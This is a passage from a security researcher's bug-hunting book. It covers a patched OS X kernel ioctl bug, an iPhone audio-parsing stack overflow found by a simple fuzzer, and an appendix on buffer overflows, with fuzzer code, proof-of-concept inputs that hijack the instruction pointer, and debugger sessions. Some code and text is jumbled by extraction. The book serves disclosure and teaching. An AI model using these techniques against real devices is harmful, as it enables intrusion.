00459A00 : 65656565 eeee
00459A20 : 65656565 eeee
00459A40 : 65656565 eeee
00459A60 : 65656565 eeee
00459A80 : 65656565 eeee
00459AA0 : 65656565 eeee
00459AC0 : 65656565 eeee
00459AE0 : 65656565 eeee
00459B00 : 65656565 eeee
00459B20 : 65656565 eeee
Cannot access memory at address 0x4dc000
```

The output shows the memory locations found by the script that point to the value 0x65656565. I picked the first one from the list,
adjusted the MEMLOC defined in line 3 of Listing 7-3, and let the program determine the appropriate TIOCSETD input value:

```
osx$ head -3 addr_brute_force.c
#include <stdio.h>
#define MEMLOC 0x0041bda0
osx$ gcc -o addr_brute_force addr_brute_force.c
osx$ ./addr_brute_force
Value: 87ffe2aa
```

I then changed the IOCTL input value in the POC code illustrated in Listing 7-2, connected the kernel debugger to OS X, and executed the code:

```
osx$ head -6 poc.c
#include <sys/ioctl.h>
int main (void)
{
    unsigned long ldisc = 0x87ffe2aa;
}
osx$ gcc -o poc poc.c
osx$ ./poc
```

The OS X machine froze again, and the debugger on the Linux host displayed the following output:

```
Program received signal SIGTRAP, Trace/breakpoint trap.
0x65656565 in ?? ()
```

```
(gdb) info registers
ejx 0xffffc5540 -240320
ecx 0x4000001 67108865
edx 0x386c380 59163520
ebx 0x87ffe2aa -2013273430
esp 0x250dbc08 0x250dbc08
ebp 0x250dbd18 0x250dbd18
esi 0x3e59604 65377796
edi 0x0 0
eip 0x65656565 0x65656565
eflags 0x10282 66178
```

```
cs 0x8 8
ss 0x10 16
ds 0x3e50010 65339408
es 0x3e50010 65339408
fs 0x10 16
gs 0x48 72
```
As the debugger output shows, the EIP register now had a value of 0x65656565. At this point I was able to control EIP, but exploiting the bug to achieve arbitrary code execution at the kernel level was still a challenge. Under OS X, including Leopard, the kernel isn’t mapped into every user space process; it has its own virtual address space. It’s therefore impossible to return to a user space address using common strategies for Linux or Windows. I solved this problem by heap spraying the kernel with my privilege escalation payload and a reference to this payload. I achieved this by exploiting a memory leak in the kernel of OS X. Then I calculated an appropriate TIOCSETD input value that pointed to the payload reference. This value was then copied into EIP and . . . bingo!

Providing you with a full working exploit would be against the law, but if you are interested, you can watch a short video I recorded that shows the exploit in action on the book’s website.4

7.3 Vulnerability Remediation

Wednesday, November 14, 2007

After I informed Apple about the bug, Apple fixed it by adding an extra check for the user-supplied IOCTL data.

Source code file xnu-792.24.17/bsd/kern/tty.c

```c
1081 case TIOCSETD: { /* set line discipline */
1082     register int t = *(int *)data;
1083     dev_t device = tp->t_dev;
1084
1085     if (t >= nlinesw || t < 0)
1086         return (ENXIO);
1087     if (t != tp->t_line) {
1088         s = spltty();
1089         (*linesw[tp->t_line].l_close)(tp, flag);
1090         error = (*linesw[t].l_open)(device, tp);
1091         if (error) {
1092             (void)(*linesw[tp->t_line].l_open)(device, tp);
1093             splx(s);
1094             return (error);
1095         }
1096         tp->t_line = t;
1097         splx(s);
1098     }
1099     break;
1100 }
```

Line 1085 now checks whether the value of t is negative. If so, the user-derived data will not be processed any further. This little change was enough to successfully rectify the vulnerability.
7.4 Lessons Learned
As a programmer:

- Avoid, where possible, using explicit type conversions (casts).
- Always validate input data.

7.5 Addendum

Thursday, November 15, 2007

Since the vulnerability has been fixed and a new version of the XNU kernel of OS X is available, I released a detailed security advisory on my website today. The bug was assigned CVE-2007-4686.

After I published the advisory, Theo de Raadt (the founder of OpenBSD and OpenSSH) hinted that this bug is older than 4.4BSD and was fixed roughly 15 years ago by everyone but Apple. In the initial revision of FreeBSD from 1994, the implementation of the TIOCSETD IOCTL looks like this:

```c
804    case TIOCSETD: {        /* set line discipline */
805        register int t = *(int *)data;
806        dev_t device = tp->t_dev;
807
808        if ((u_int)t >= nlinesw)
809            return (ENXIO);
810        if (t != tp->t_line) {
811            s = spltty();
812            (*linesw[tp->t_line].l_close)(tp, flag);
813            error = (*linesw[t].l_open)(device, tp);
814            if (error) {
815                (void)(*linesw[tp->t_line].l_open)(device, tp);
816                splx(s);
817                return (error);
818            }
819            tp->t_line = t;
820            splx(s);
821        }
822        break;
823    }
```

Since `t` gets cast into an unsigned int in line 808, it can never become negative. If the user-derived data is greater than `0x80000000`, the function returns with an error (see line 809). So Theo was right—the bug was indeed already fixed in 1994. Figure 7-4 shows the timeline of the bug’s fix.
Notes


2. See “You need to restart your computer’ (kernel panic) message appears (Mac OS X v10.5, 10.6)” at http://support.apple.com/kb/TS3742.


4. See http://www.trapkit.de/books/bhd/.


6. My security advisory that describes the details of the Mac OS X kernel vulnerability can be found at http://www.trapkit.de/advisories/TKADV2007-001.txt.

7. The initial FreeBSD version of tty.c from 1994 can be found at http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/kern/tty.c?rev=1.1;content-type=text/plain.
Saturday, March 21, 2009
Dear Diary,

Last week a good friend of mine loaned me his jailbroken,\(^1\) first-generation iPhone. I was very excited. Ever since Apple announced the iPhone, I had wanted to see if I could find a bug in the device, but until last week I had never had access to one.

### 8.1 Vulnerability Discovery

I finally had an iPhone to play with, and I wanted to search for bugs. But where to start? The first thing I did was make a list of installed applications and libraries that seemed most likely to have bugs. The MobileSafari browser, the MobileMail app, and the audio libraries were at the top of the list. I decided that the audio libraries were the most promising targets since these libraries do a lot of parsing and are heavily used on the phone, so I tried my luck on them.
I performed the following steps when searching the iPhone audio libraries for a bug:

- Step 1: Research the iPhone’s audio capabilities.
- Step 2: Build a simple fuzzer and fuzz the phone.

**NOTE**  I installed all the necessary tools—like the Bash, OpenSSH, and the GNU debugger—on the iPhone using Cydia.2

**Step 1: Research the iPhone’s Audio Capabilities**

The iPhone, with its iPod-based roots, is a powerful audio-capable device. Three frameworks available on the phone provide different levels of sound functionality: the Core Audio,3 Celestial, and Audio Toolbox4 frameworks. In addition, the iPhone runs an audio daemon called mediaserverd, which aggregates the sound output of all applications and governs events such as volume and ringer-switch changes.

**Step 2: Build a Simple Fuzzer and Fuzz the Phone**

The iPhone’s audio system with all its different frameworks seemed a bit complicated, so I decided to start by building a simple fuzzer to search for obvious bugs. The fuzzer that I built does the following:

1. On a Linux host: Prepares the test cases by mutating a sample target file.
2. On a Linux host: Serves these test cases via a web server.
3. On the iPhone: Opens the test cases in MobileSafari.
4. On the iPhone: Monitors mediaserverd for faults.
5. On the iPhone: In the event a fault is uncovered, logs the findings.
6. Repeats these steps.

I created the following simple, mutation-based file fuzzer to prepare the test cases on a Linux host:

```c
01 #include <stdio.h>
02 #include <sys/types.h>
03 #include <sys/mman.h>
04 #include <fcntl.h>
05 #include <stdlib.h>
06 #include <unistd.h>
07```

← I used a first-generation iPhone with firmware 2.2.1 (SH11) as platform for all the following steps.
int main (int argc, char *argv[]) {
    int fd = 0;
    char * p = NULL;
    char * name = NULL;
    unsigned int file_size = 0;
    unsigned int file_offset = 0;
    unsigned int file_value = 0;

    if (argc < 2) {
        printf ("[-] Error: not enough arguments\n");
        return (1);
    } else {
        file_size = atol (argv[1]);
        file_offset = atol (argv[2]);
        file_value = atol (argv[3]);
        name = argv[4];
    }

    // open file
    fd = open (name, O_RDWR);
    if (fd < 0) {
        perror ("open");
        exit (1);
    }

    // mmap file
    p = mmap (0, file_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
    if ((int) p == -1) {
        perror ("mmap");
        close (fd);
        exit (1);
    }

    // mutate file
    printf ("[+] file offset: 0x%08x (value: 0x%08x)\n", file_offset, file_value);
    fflush (stdout);
    p[file_offset] = file_value;
    close (fd);
    munmap (p, file_size);
    return (0);
}

Listing 8-1: The code I wrote to prepare test cases on the Linux host (fuzz.c)

The fuzzer from Listing 8-1 takes four arguments: the size of the sample target file, the file offset to manipulate, a 1-byte value that gets written to the given file offset, and the name of the target file. After writing the fuzzer, I compiled it:

```
linux$ gcc -o fuzz fuzz.c
```
I then began fuzzing files of the *Advanced Audio Coding* (AAC) format, which is the default audio format used on the iPhone. I chose the standard iPhone ringtone, named *Alarm.m4r*, as a sample target file:

```
linux$ cp Alarm.m4r testcase.m4r
```

I typed the following line into the terminal to get the size of the test-case file:

```
linux$ du -b testcase.m4r
415959  testcase.m4r
```

The command-line options below instruct the fuzzer to replace the byte at file offset 4 with \(0xff\) (decimal 255):

```
linux$ ./fuzz 415959 4 255 testcase.m4r
[+] file offset: 0x00000004 (value: 0x000000ff)
```

I then verified the result with the help of `xxd`:

```
linux$ xxd Alarm.m4r | head -1
0000000: 0000 0020 6674 7970 4d34 4120 0000 0000 ... ftypM4A ....
linux$ xxd testcase.m4r | head -1
0000000: 0000 0020 ff74 7970 4d34 4120 0000 0000 ... .typM4A ....
```

The output shows that file offset 4 (file offsets are counted starting with 0) was replaced with the expected value (0xff). Next, I created a bash script to automate the file mutation:

```bash
01 #!/bin/bash
02
03 # file size
04 filesize=415959
05
06 # file offset
07 off=0
08
09 # number of files
10 num=4
11
12 # fuzz value
13 val=255
14
15 # name counter
16 cnt=0
17
18 while [ $cnt -lt $num ]
19 do
20     cp ./Alarm.m4r ./file$cnt.m4a
21     ./fuzz $filesize $off $val ./file$cnt.m4a
22 done
```

136 Chapter 8
let "off+=1"
let "cnt+=1"
done

Listing 8-2: The bash script I created to automate file mutation (go.sh)

This script, which is just a wrapper for the fuzzer illustrated in Listing 8-1, automatically creates four test cases of the target file Alarm.m4r (see line 20). Starting at file offset 0 (see line 7), the first 4 bytes of the target file (see line 10) are each replaced with a 0xff (see line 13). When executed, the script produced the following output:

```
linux$ ./go.sh
[+] file offset: 0x00000000 (value: 0x000000ff)
[+] file offset: 0x00000001 (value: 0x000000ff)
[+] file offset: 0x00000002 (value: 0x000000ff)
[+] file offset: 0x00000003 (value: 0x000000ff)
```

I then verified the created test cases:

```
linux$ xxd file0.m4a | head -1
00000000: ff00 0020 6674 7970 4d34 4120 0000 0000  ... ftypM4A ....

linux$ xxd file1.m4a | head -1
00000000: 00ff 0020 6674 7970 4d34 4120 0000 0000  ... ftypM4A ....

linux$ xxd file2.m4a | head -1
00000000: 0000 ff20 6674 7970 4d34 4120 0000 0000  ... ftypM4A ....

linux$ xxd file3.m4a | head -1
00000000: 0000 00ff 6674 7970 4d34 4120 0000 0000  ....ftypM4A ....
```

As the output shows, the fuzzer worked as expected and modified the appropriate byte in each test-case file. One important fact I haven’t mentioned yet is that the script in Listing 8-2 changes the file extension of the alarm ringtone from .m4r to .m4a (see line 20). This is necessary because MobileSafari doesn’t support the .m4r file extension used by iPhone ringtones.

I copied the modified and unmodified alarm ringtone files into the web root directory of the Apache webserver that I had installed on the Linux host. I changed the file extension of the alarm ringtone from .m4r to .m4a and pointed MobileSafari to the URL of the unmodified ringtone.

As illustrated in Figure 8-1, the unmodified target file Alarm.m4a successfully played on the phone in MobileSafari. I then pointed the browser to the URL of the first modified test-case file, named file0.m4a.

Figure 8-2 shows that MobileSafari opens the modified file but isn’t able to parse it correctly.
So what had I achieved so far? I was able to prepare audio-file test cases via mutation, launch MobileSafari, and instruct it to load the test cases. At this point, I wanted to find a way to automatically open the test-case files in MobileSafari one by one while monitoring mediaserverd for faults. I created this small Bash script to do the job on the phone:

```
#!/bin/bash

fuzzhost=192.168.99.103

echo [+] =================================
echo [+] Start fuzzing
echo [-n "[+] Cleanup: "
killall MobileSafari
killall mediaserverd
sleep 5
let cnt=0
let i=0

while [ $cnt -le 1000 ];
```

...
The Bash script illustrated in Listing 8-3 works this way:

- Line 3 displays the IP address of the web server that hosts the test cases.
- Lines 9 and 10 restart `mediaserverd` and kill all running MobileSafari instances in order to create a clean environment.
- Line 14 copies the process ID of the `mediaserverd` audio daemon into the variable `origpid`.
- Line 21 contains the main loop that is executed for each test case.
- Lines 23–34 restart the `mediaserverd` after every 10 test cases.
  Fuzzing the iPhone can be tedious, since some components, including `mediaserverd`, are prone to hangs.
- Line 38 launches the individual test cases hosted on the web server using the `openURL` tool.6
• Line 40 copies the current process ID of the mediaserverd audio daemon into the variable currpid.

• Line 42 compares the saved process ID of mediaserverd (see line 14) and the current process ID of the daemon. The two process IDs differ when mediaserverd has encountered a fault and restarted while processing one of the test cases. This finding is logged to the phone’s terminal (see line 44). The script will also send a GET request to the web server that includes the text “BUG_FOUND” as well as the name of the file that crashed mediaserverd (see line 45).

• Line 51 kills the current instance of MobileSafari after each test-case run.

After I implemented this little script, I created 1,000 mutations of the Alarm.m4r ringtone starting at file offset 0, copied them to the web root directory of the web server, and started the audiofuzzer.sh script on the iPhone. From time to time the phone crashed due to memory leaks. Every time that happened, I had to reboot the phone, extract the filename of the last processed test case from the access logfile of the web server, adjust line 18 of Listing 8-3, and continue fuzzing. Fuzzing the iPhone can be such a pain... but it was worth it! In addition to the memory leaks that froze the phone, I also found a bunch of crashes due to memory corruption.

8.2 Crash Analysis and Exploitation

After the fuzzer had finished processing the test cases, I searched the access logfile of the web server for “BUG_FOUND” entries.

```
linux$ grep BUG /var/log/apache2/access.log
192.168.99.103 .. "GET /BUG_FOUND_file40.m4a HTTP/1.1" 404 277 ".-" "Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20"
192.168.99.103 .. "GET /BUG_FOUND_file41.m4a HTTP/1.1" 404 276 ".-" "Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20"
192.168.99.103 .. "GET /BUG_FOUND_file42.m4a HTTP/1.1" 404 277 ".-" "Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20"
[...]
```

As shown in the excerpt of the logfile, mediaserverd encountered a fault while attempting to play the test-case files 40, 41, and 42. To analyze the crashes, I rebooted the phone and attached the GNU debugger (see Section B.4) to mediaserverd:

← The iPhone, like most mobile devices, uses an ARM CPU. This is important because the ARM assembly language is vastly different from Intel assembly.
After I started gdb, I used the following command to retrieve the current process ID of mediaserverd:

```
(gdb) shell ps -u mobile -O pid | grep mediaserverd
   27   ??  Ss     0:01.63 /usr/sbin/mediaserverd
```

I then loaded the mediaserverd binary into the debugger and attached it to the process:

```
(gdb) exec-file /usr/sbin/mediaserverd
Reading symbols for shared libraries ........ done
(gdb) attach 27
Attaching to program: `/usr/sbin/mediaserverd', process 27.
Reading symbols for shared libraries ..................................... done
0x3146baa4 in mach_msg_trap ()
```

Before I continued the execution of mediaserverd, I used the follow-fork-mode command to instruct the debugger to follow the child process instead of the parent process:

```
(gdb) set follow-fork-mode child
(gdb) continue
Continuing.
```

I opened MobileSafari on the phone and pointed it to the URL of test-case file number 40 (file40.m4a). The debugger produced the following result:

```
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0x01302000
    [Switching to process 27 thread 0xa10b]
0x314780ec in memmove ()
```

The crash occurred when mediaserverd tried to access memory at address 0x01302000.

```
(gdb) x/1x 0x01302000
0x1302000:   Cannot access memory at address 0x1302000
```
As the debugger output shows, mediaserverd crashed while trying to reference an unmapped memory location. To further analyze the crash, I printed the current call stack:

(gdb) backtrace
#0 0x314780ec in memmove ()
#1 0x3493d5e0 in MP4AudioStream::ParseHeader ()
#2 0x00000072 in ?? ()
Cannot access memory at address 0x72

This output was intriguing. The address of stack frame #2 had an unusual value (0x00000072), which seemed to indicate that the stack had become corrupted. I used the following command to print the last instruction that was executed in MP4AudioStream::ParseHeader() (see stack frame #1):

(gdb) x/1i 0x3493d5e0 - 4
0x3493d5dc <_ZN14MP4AudioStream11ParseHeaderER27AudioFileStreamContinuation+1652>: bl 0x34997374 <dyld_stub_memcpy>

The last instruction executed in MP4AudioStream::ParseHeader() was a call to memcpy(), which must have caused the crash. At this time, the bug had exhibited all the characteristics of a stack buffer overflow vulnerability (see Section A.1).

I stopped the debugging session and rebooted the device. After the phone started, I attached the debugger to mediaserverd again, and this time I also defined a breakpoint at the memcpy() call in MP4AudioStream::ParseHeader() in order to evaluate the function arguments supplied to memcpy():

(gdb) break *0x3493d5dc
Breakpoint 1 at 0x3493d5dc

(gdb) continue
Continuing.

I opened test case number 40 (file40.m4a) in MobileSafari in order to trigger the breakpoint:

[Switching to process 27 thread 0x9c0b]

Breakpoint 1, 0x3493d5dc in MP4AudioStream::ParseHeader ()

The arguments of memcpy() are usually stored in the registers r0 (destination buffer), r1 (source buffer), and r2 (bytes to copy). I asked the debugger for the current values of those registers.
I also inspected the data pointed to by r1 to see if the source data of `memcpy()` was user controllable:

```
(gdb) x/40x $r1
0x115030:       0x00000000      0xd7e178c2      0xe5e178c2      0x80bb0000
0x115040:       0x00b41000      0x00000100      0x00000001      0x00000000
0x115050:       0x00000000      0x00000100      0x00000000      0x00000000
0x115060:       0x00000000      0x00000100      0x00000000      0x00000000
0x115070:       0x00000000      0x00000040      0x00000000      0x00000000
0x115080:       0x00000000      0x00000000      0x00000000      0x00000000
0x115090:       0x02000000      0x2d130000      0x6b617274      0x5c000000
0x1150a0:       0x64686b74      0x07000000      0xd7e178c2      0xe5e178c2
0x1150b0:       0x01000000      0x00000000      0x00b41000      0x00000000
0x1150c0:       0x00000000      0x00000000      0x00000001      0x00000100
```

I then searched test-case file number 40 for those values. I found them right at the beginning of the file in little-endian notation:

```
[..]
00000030h: 00 00 00 00 C2 78 E1 D7 C2 78 E1 E5 00 00 BB 80 ; ....Âxá×Âxáå..»€
00000040h: 00 10 B4 00 00 01 00 00 01 00 00 00 00 00 00 00 ; ..´............
00000050h: 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 ; ................
00000060h: 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 ; ................
00000070h: 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 ; ....@...........
[..]
```

So I could control the source data of the memory copy. I continued the execution of `mediaserverd` and got the following output in the debugger:

```
(gdb) continue
Continuing.
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0x00685000
0x314780ec in memmove ()
```

`Mediaserverd` crashed again while trying to access unmapped memory. It seemed that the size argument supplied to `memcpy()` was too big, so the function tried to copy audio-file data beyond the end of the stack. At this point I stopped the debugger and opened the test-case file that had actually caused the crash (`file40.m4a`) with a hex editor:

```
00000000h: 00 00 00 20 66 74 79 70 4D 34 41 20 00 00 00 00 ; ... ftypM4A ....
00000010h: 4D 34 41 20 6D 70 34 32 69 73 6F 6D 00 00 00 00 ; M4A mp42isom....
00000020h: 00 00 1C 65 6D 6F 66 FF 00 00 6C 6D 76 68 64 ; ...emoový..lmvhd
[..]
```
The manipulated byte (0xff) that caused the crash can be found at file offset 40 (0x28). I consulted the *QuickTime File Format Specification* to determine the role of that byte within the file structure. The byte was described as part of the atom size of a movie header atom, so the fuzzer must have changed the size value of that atom. As I mentioned before, the size supplied to `memcpy()` was too big, so *mediaserverd* had crashed while trying to copy too much data onto the stack. To avoid the crash, I set the atom size to a smaller value. I changed the manipulated value at file offset 40 back to 0x00 and the byte value at offset 42 to 0x02. I named the new file *file40_2.m4a.*

Here is the original test-case file 40 (*file40.m4a*):

```
00000020h: 00 00 1C 65 6D 6F 6F 76 FF 00 00 6C 6D 76 68 64 ; ...emoovÿ..lmvhd
```

And here is the new test-case file (*file40_2.m4a*) with changes underlined:

```
00000020h: 00 00 1C 65 6D 6F 6F 00 00 02 6C 6D 76 68 64 ; ...emoov..lmvhd
```

I rebooted the device to get a clean environment, attached the debugger to *mediaserverd* again, and opened the new file in MobileSafari.

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0x00000072
[Switching to process 27 thread 0xa10b]
0x00000072 in ?? ()

This time the program counter (instruction pointer) was manipulated to point to address 0x00000072. I then stopped the debugging session and started a new one while again setting a breakpoint at the `memcpy()` call in `MP4AudioStream::ParseHeader()`:

```
(gdb) break *0x3493d5dc
Breakpoint 1 at 0x3493d5dc
```

```
(gdb) continue
Continuing.

When I opened the modified test-case file *file40_2.m4a* in MobileSafari, I got the following output in the debugger:

[Switching to process 71 thread 0x9f07]
Breakpoint 1, 0x3493d5dc in MP4AudioStream::ParseHeader ()
I printed the current call stack:

```
(gdb) backtrace
#0 0x3493d5dc in MP4AudioStream::ParseHeader ()
#1 0x3490d748 in AudioFileStreamWrapper::ParseBytes ()
#2 0x3490cfa8 in AudioFileStreamParseBytes ()
#3 0x345dad70 in PushBytesThroughParser ()
#4 0x345dbd3c in FigAudioFileStreamFormatReaderCreateFromStream ()
#5 0x345dff08 in instantiateFormatReader ()
#6 0x345e02c4 in FigFormatReaderCreateForStream ()
#7 0x345d293c in itemfig_assureBasicsReadyForInspectionInternal ()
#8 0x345d945c in itemfig_makeReadyForInspectionThread ()
#9 0x3146178c in _pthread_body ()
#10 0x00000000 in ?? ()
```

The first stack frame on the list was the one I was looking for. I used the following command to display information about the current stack frame of `MP4AudioStream::ParseHeader()`:

```
(gdb) info frame 0
Stack frame at 0x1301c00:
   pc = 0x3493d5dc in MP4AudioStream::ParseHeader(AudioFileStreamContinuation&); saved pc 0x3490d748
called by frame at 0x1301c30
Arglist at 0x1301bf8, args:
Locals at 0x1301bf8, Saved registers:
   r4 at 0x1301bec, r5 at 0x1301bf0, r6 at 0x1301bf4, r7 at 0x1301bf8, r8 at 0x1301be0, s1 at 0x1301be4, fp at 0x1301be8, lr at 0x1301bfc, pc at 0x1301bfc,
s16 at 0x1301ba0, s17 at 0x1301ba4, s18 at 0x1301ba8, s19 at 0x1301bac, s20 at 0x1301bb0, s21 at 0x1301bb4, s22 at 0x1301bb8, s23 at 0x1301bbc, s24 at 0x1301bc0, s25 at 0x1301bc4, s26 at 0x1301bc8, s27 at 0x1301bcc, s28 at 0x1301bd0, s29 at 0x1301bd4, s30 at 0x1301bd8, s31 at 0x1301bdc
```

The most interesting information was the memory location where the program counter (pc register) was stored on the stack. As the debugger output shows, pc was saved at address `0x1301bfc` on the stack (see “Saved registers”).

I then continued the execution of the process:

```
(gdb) continue
Continuing.
```

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0x000000072
0x00000072 in ?? ()

After the crash, I looked at the stack location (memory address `0x1301bfc`) where the `MP4AudioStream::ParseHeader()` function expects to find its saved program counter.
The debugger output shows that the saved instruction pointer was overwritten with the value \(0x00000073\). When the function tried to return to its caller function, the manipulated value was assigned to the instruction pointer (pc register). Specifically, the value \(0x00000072\) was copied into the instruction pointer instead of the file value \(0x00000073\) due to the instruction alignment of the ARM CPU (instruction alignment on a 16-bit or 32-bit boundary).

My extremely simple fuzzer had indeed found a classic stack buffer overflow in the audio libraries of the iPhone. I searched the test-case file for the byte pattern of the debugger output and found the byte sequence at file offset 500 in \textit{file40_2.m4a}:

I then changed the underlined value above to \(0x44444444\) and named the new file \textit{poc.m4a}:

I attached the debugger to \textit{mediaserverd} again and opened the new \textit{poc.m4a} file in MobileSafari, which resulted in the following debugger output:

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: \(0x44444444\)

\begin{verbatim}
(gdb) info registers
r0   0x6474613f      1685348671
r1   0x393fc284      960479876
r2   0xcb0           3248
r3   0x10b           267
r4   0x6901102       110104834
r5   0x1808080       25198720
r6   0x2             2
r7   0x74747318      1953788696
r8   0xf40100        15991040
r9   0x817a00        8485376
\end{verbatim}
Yay! At this point I had full control over the program counter.

8.3 Vulnerability Remediation

Tuesday, February 2, 2010

I informed Apple of the bug on October 4, 2009. Today they released a new version of iPhone OS to address the vulnerability.

The bug was easy to find, so I’m sure that I wasn’t the only person who knew about it, but I seem to be the only one who informed Apple. More surprising: Apple didn’t find such a trivial bug on its own.

8.4 Lessons Learned

As a bug hunter and iPhone user:

• Even dumb mutation-based fuzzers, like the one described in this chapter, can be quite effective.

• Fuzzing the iPhone is tedious but worth it.

• Do not open untrusted (media) files on your iPhone.

8.5 Addendum

Tuesday, February 2, 2010

Since the vulnerability has been fixed and a new version of iPhone OS is available, I released a detailed security advisory on my website today.8 The bug was assigned CVE-2010-0036. Figure 8-3 shows a time-line of how the vulnerability was addressed.
Figure 8-3: Timeline from the time I notified Apple until I released a security advisory

Notes

8. My security advisory that describes the details of the iPhone vulnerability can be found at http://www.trapkit.de/advisories/TKADV2010-002.txt.
This appendix describes, in more depth than in the text, some vulnerability classes, exploitation techniques, and common issues that can lead to bugs.

A.1 Stack Buffer Overflows

Buffer overflows are memory corruption vulnerabilities that can be categorized by type (also known as generation). Today the most relevant ones are stack buffer overflows and heap buffer overflows. A buffer overflow happens if more data is copied into a buffer or array than the buffer or array can handle. It's that simple. As the name implies, stack buffer overflows are happening in the stack area of a process memory. The stack is a special memory area of a process that holds both data and metadata associated with procedure invocation. If more data is stuffed in a buffer declared on the stack than that buffer can handle, adjacent stack memory may be overwritten. If the user can control the data and the amount of data, it is possible to manipulate the stack data or metadata to gain control of the execution flow of the process.

← The following descriptions of stack buffer overflows are related to the 32-bit Intel platform (IA-32).
Every function of a process that is executed is represented on the stack. The organization of this information is called a stack frame. A stack frame includes the data and metadata of the function, as well as a return address used to find the caller of the function. When a function returns to its caller, the return address is popped from the stack and into the instruction pointer (program counter) register. If you can overflow a stack buffer and then overwrite the return address with a value of your choosing, you get control over the instruction pointer when the function returns.

There are a lot of other possible ways to take advantage of a stack buffer overflow for example, by manipulating function pointers, function arguments, or other important data and metadata on the stack. Let’s look at an example program:

```c
#include <string.h>

void overflow (char *arg)
{
    char buf[12];
    strcpy (buf, arg);
}

int main (int argc, char *argv[])
{
    if (argc > 1)
        overflow (argv[1]);
    return 0;
}
```

Listing A-1: Example program stackoverflow.c

The example program in Listing A-1 contains a simple stack buffer overflow. The first command-line argument (line 15) is used as a parameter for the function called overflow(). In overflow(), the user-derived data is copied into a stack buffer with a fixed size of 12 bytes (see lines 6 and 8). If we supply more data than the buffer can hold (more than 12 bytes), the stack buffer will overflow, and the adjacent stack data will be overwritten with our input data.

Figure A-1 illustrates the stack layout right before and after the buffer overflow. The stack grows downward (toward lower memory addresses), and the return address (RET) is followed by another piece of metadata called the saved frame pointer (SFP). Below that is the buffer that is declared in the overflow() function. In contrast to the stack, which grows downward, the data that is filled into a stack buffer grows toward higher memory addresses. If we supply a sufficient amount of data for the first command-line argument, then our data will overwrite
the buffer, the SFP, the RET, and adjacent stack memory. If the function then returns, we control the value of RET, which gives us control over the instruction pointer (EIP register).

![Stack frame illustrating a buffer overflow](image)

**Figure A-1:** Stack frame illustrating a buffer overflow

### Example: Stack Buffer Overflow Under Linux

To test the program from Listing A-1 under Linux (Ubuntu 9.04), I compiled it without stack canary support (see Section C.1):

```bash
linux$ gcc -fno-stack-protector -o stackoverflow stackoverflow.c
```

Then, I started the program in the debugger (see Section B.4 for more information about gdb) while supplying 20 bytes of user input as a command-line argument (12 bytes to fill the stack buffer plus 4 bytes for the SFP plus 4 bytes for the RET):

```bash
linux$ gdb -q ./stackoverflow
(gdb) run $(perl -e 'print "A"x12 . "B"x4 . "C"x4')
Starting program: /home/tk/BHD/stackoverflow $(perl -e 'print "A"x12 . "B"x4 . "C"x4')
Program received signal SIGSEGV, Segmentation fault. 0x43434343 in ?? ()
```

```bash
(gdb) info registers
eax 0xbfab9fac -1079271508
ecx 0xbfab9fab -1079271509
edx 0x15 21
ebx 0xb8088ff4 -1207398412
esp 0xbfab9fc0 0xbfab9fc0
ebp 0x42424242 0x42424242
esi 0x8048430 134513712
edi 0x8048310 134513424
```

Hints for Hunting 151
I gained control over the instruction pointer (see the EIP regis-
ter), as the return address was successfully overwritten with the four
Cs supplied from the user input (hexadecimal value of the four Cs: 0x43434343).

**Example: Stack Buffer Overflow Under Windows**

I compiled the vulnerable program from Listing A-1 without security
cookie (/GS) support under Windows Vista SP2 (see Section C.1):

```
C:\Users\tk\BHD> cl /nologo /GS- stackoverflow.c
stackoverflow.c
```

Then, I started the program in the debugger (see Section B.2 for
more information about WinDbg) while supplying the same input
data as in the Linux example above.

As Figure A-2 shows, I got the same result as under Linux: control
over the instruction pointer (see the EIP register).
This was only a short introduction to the world of buffer overflows. Numerous books and white papers are available on this topic. If you want to learn more, I recommend Jon Erickson’s *Hacking: The Art of Exploitation*, 2nd edition (No Starch Press, 2008), or you can type buffer overflows into Google and browse the enormous amount of material available online.

**A.2 NULL Pointer Dereferences**

Memory is divided into pages. Typically, a process, a thread, or the kernel cannot read from or write to a memory location on the zero page. Listing A-2 shows a simple example of what happens if the zero page gets referenced due to a programming error.

```
01 #include <stdio.h>
02 03 typedef struct pkt {
04     char * value;
05 } pkt_t;
06 07 int main (void)
08 { 09     pkt_t * packet = NULL;
10     printf ("%s", packet->value);
11     return 0;
12 }
```

Listing A-2: Using unowned memory—an example NULL pointer dereference

In line 10 of Listing A-2 the data structure packet is initialized with NULL, and in line 12 a structure member gets referenced. Since packet points to NULL, this reference can be represented as NULL->value. This leads to a classic *NULL pointer dereference* when the program tries to read a value from memory page zero. If you compile this program under Microsoft Windows and start it in the Windows Debugger WinDbg (see Section B.2), you get the following result:

```
(1334.12dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling. This exception may be expected and handled.
eax=00000000 ebx=7713b68f ecx=00000001 edx=77c55e74 esi=00000002 edi=00001772
eip=0040100e esp=0012ff34 ebp=0012ff38 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** WARNING: Unable to verify checksum for image00400000
*** ERROR: Module load completed but symbols could not be loaded for image00400000
image00400000+0x100e:
0040100e 8b08            mov     ecx,dword ptr [eax]  ds:0023:00000000=????????
```

Hints for Hunting 153
